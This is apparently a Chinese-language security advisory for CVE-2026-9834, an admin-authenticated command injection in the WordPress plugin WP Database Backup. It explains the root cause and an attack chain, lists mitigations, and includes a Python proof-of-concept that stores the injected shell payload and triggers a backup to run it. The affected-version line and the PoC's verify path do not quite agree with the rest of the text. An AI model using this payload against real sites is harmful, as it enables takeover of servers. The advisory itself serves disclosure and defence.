CVE-2026-9834：WP Database Backup插件OS命令注入漏洞

漏洞信息

漏洞编号

CVE-2026-9834

漏洞类型

操作系统命令注入（OS Command Injection）

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

WP Database Backup – Unlimited Database & Files Backup by Backup for WP（WordPress插件）

漏洞概述

CVE-2026-9834是WordPress插件"WP Database Backup"（由Backup for WP开发）中存在的一个高危操作系统命令注入漏洞。该插件提供WordPress站点的数据库和文件备份功能，在所有7.11及以下版本中均受影响。漏洞存在于插件的`includes/admin/class-wpdb-admin.php`文件中的`mysqldump()`函数中，具体涉及`wp_db_exclude_table`参数的处理逻辑。该参数接收用户通过POST提交的备份排除表列表，在拼接到`mysqldump` shell命令字符串时未使用`escapeshellarg()`进行转义，而同一命令中的其他参数（如DB_USER、DB_PASSWORD、主机名、文件名、DB_NAME）均已正确转义，使得`wp_db_exclude_table`成为唯一的安全缺口。此外，插件仅对输入调用了`sanitize_text_field()`（通过`recursive_sanitize_text_field()`），该函数仅剥离HTML标签，但保留了shell元字符如`;`、`|`、反引号和`$()`等，从而允许攻击者注入任意操作系统命令。该漏洞的CVSS评分为7.2，属于高危级别，要求攻击者拥有管理员级别及以上的认证权限（PR:H），通过网络（AV:N）即可利用，无需用户交互（UI:N）。一旦成功利用，攻击者可在服务器上执行任意操作系统命令，实现完整的远程代码执行（RCE），对机密性、完整性和可用性均产生高影响（C:H/I:H/A:H）。该漏洞属于存储型注入，恶意值通过插件设置表单提交后会通过`update_option('wp_db_exclude_table')`持久化到WordPress选项表，之后每次备份运行时通过`get_option()`取出并未经处理地传递给`shell_exec()`执行。

技术细节

该漏洞的根本原因在于`mysqldump()`函数中shell命令的构造方式存在缺陷。在调用`mysqldump`进行数据库备份时，函数将多个参数拼接为完整的shell命令字符串。其中，数据库用户名、密码、主机名、输出文件名和数据库名称均使用`escapeshellarg()`进行了正确的转义处理，但`wp_db_exclude_table`参数的值却直接拼接到命令中，未经过任何shell转义。攻击者通过POST请求提交`wp_db_exclude_table`参数时，插件使用`sanitize_text_field()`（递归版本）进行过滤，该函数主要用于去除HTML标签和多余空白，但对shell元字符（`;`、`|`、`&&`、`||`、反引号`` ` ``、`$()`等）不做任何处理。恶意输入首先通过`update_option()`存储到WordPress数据库的wp_options表中，之后在每次执行备份操作时通过`get_option('wp_db_exclude_table')`读取并拼接到mysqldump命令中，最终通过`shell_exec()`执行。由于攻击者需要管理员权限才能访问插件设置页面和提交该参数，因此认证要求为高权限（PR:H）。利用方式为：攻击者以管理员身份登录WordPress后台，导航到WP Database Backup插件的设置页面，在排除表输入框中注入包含shell元字符的payload，例如`table1; id; #`，当备份任务触发时，该payload会作为shell命令的一部分被执行，从而实现远程代码执行。

攻击链分析

STEP 1

步骤1：获取管理员凭证

攻击者通过钓鱼、凭证填充或利用其他漏洞获取WordPress站点的管理员级别账号和密码。

STEP 2

步骤2：登录WordPress管理后台

攻击者使用管理员凭证登录WordPress后台，获取有效的会话Cookie和CSRF nonce。

STEP 3

步骤3：注入恶意payload

攻击者导航到WP Database Backup插件的设置页面，在"排除表"输入框中提交包含shell元字符（如`;`、`|`、反引号、`$()`）的恶意值。该值通过`sanitize_text_field()`过滤后保留shell元字符，并通过`update_option('wp_db_exclude_table')`持久化存储到wp_options表中。

STEP 4

步骤4：触发备份操作

攻击者手动触发备份任务或等待自动备份计划执行。插件调用`mysqldump()`函数，通过`get_option('wp_db_exclude_table')`读取存储的恶意值，拼接到shell命令字符串中。

STEP 5

步骤5：执行任意系统命令

由于未使用`escapeshellarg()`转义，恶意payload作为shell命令的一部分通过`shell_exec()`执行，攻击者获得服务器上的任意命令执行能力，可进一步植入Webshell、提权或横向移动。

STEP 6

步骤6：完全控制服务器

利用RCE权限，攻击者可读取敏感文件、修改网站内容、安装后门程序，实现对WordPress站点及其底层服务器的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9834 - WP Database Backup OS Command Injection PoC
# Vulnerability: Unescaped wp_db_exclude_table parameter in mysqldump() function
# Requires: WordPress admin authentication (PR:H)
# Target file: includes/admin/class-wpdb-admin.php, function mysqldump()

import requests

TARGET_URL = "http://target-wordpress-site.com"
ADMIN_USER = "admin"
ADMIN_PASS = "password123"

# Step 1: Authenticate as administrator and obtain session cookies
session = requests.Session()
login_url = f"{TARGET_URL}/wp-login.php"
login_data = {
    "log": ADMIN_USER,
    "pwd": ADMIN_PASS,
    "wp-submit": "Log In",
    "redirect_to": f"{TARGET_URL}/wp-admin/",
    "testcookie": "1"
}
session.post(login_url, data=login_data)

# Step 2: Inject malicious payload into wp_db_exclude_table option
# The payload uses shell metacharacters (; and #) that survive sanitize_text_field()
# When mysqldump() executes, the injected command after ';' will run
malicious_table = "wp_users; echo 'PWNED_$(id)' > /tmp/rce_proof; #"

backup_settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=wp-database-backup"
settings_data = {
    "wp_db_exclude_table[]": malicious_table,
    # Additional form fields may be required depending on plugin version
    "submit": "Save Changes"
}
response = session.post(backup_settings_url, data=settings_data)

# Step 3: Trigger backup operation to execute the injected command
# The stored payload will be retrieved via get_option() and passed to shell_exec()
backup_trigger_url = f"{TARGET_URL}/wp-admin/admin.php?page=wp-database-backup&action=create_backup"
session.get(backup_trigger_url)

# Step 4: Verify command execution
verify = requests.get(f"{TARGET_URL}/wp-content/plugins/wp-database-backup/backup/tmp/rce_proof")
if "PWNED_" in verify.text:
    print("[+] RCE confirmed! Server response:", verify.text)
else:
    print("[*] Check /tmp/rce_proof on the target server for command output")

影响范围

WP Database Backup by Backup for WP < 7.11（所有7.11及以下版本）

防御指南

临时缓解措施

在官方修复版本发布之前，建议采取以下临时缓解措施：1）限制WordPress管理员账号的数量和强度，实施多因素认证（MFA）；2）通过WAF规则拦截包含shell元字符（`;`、`|`、`&&`、`||`、反引号、`$()`等）的`wp_db_exclude_table`参数提交；3）在服务器层面禁用`shell_exec()`等危险PHP函数（需评估对其他功能的影响）；4）定期检查WordPress wp_options表中`wp_db_exclude_table`选项的值，确保未被篡改；5）暂时禁用WP Database Backup插件的备份功能或限制仅允许可信管理员触发备份；6）监控服务器进程和文件系统活动，及时发现异常命令执行行为。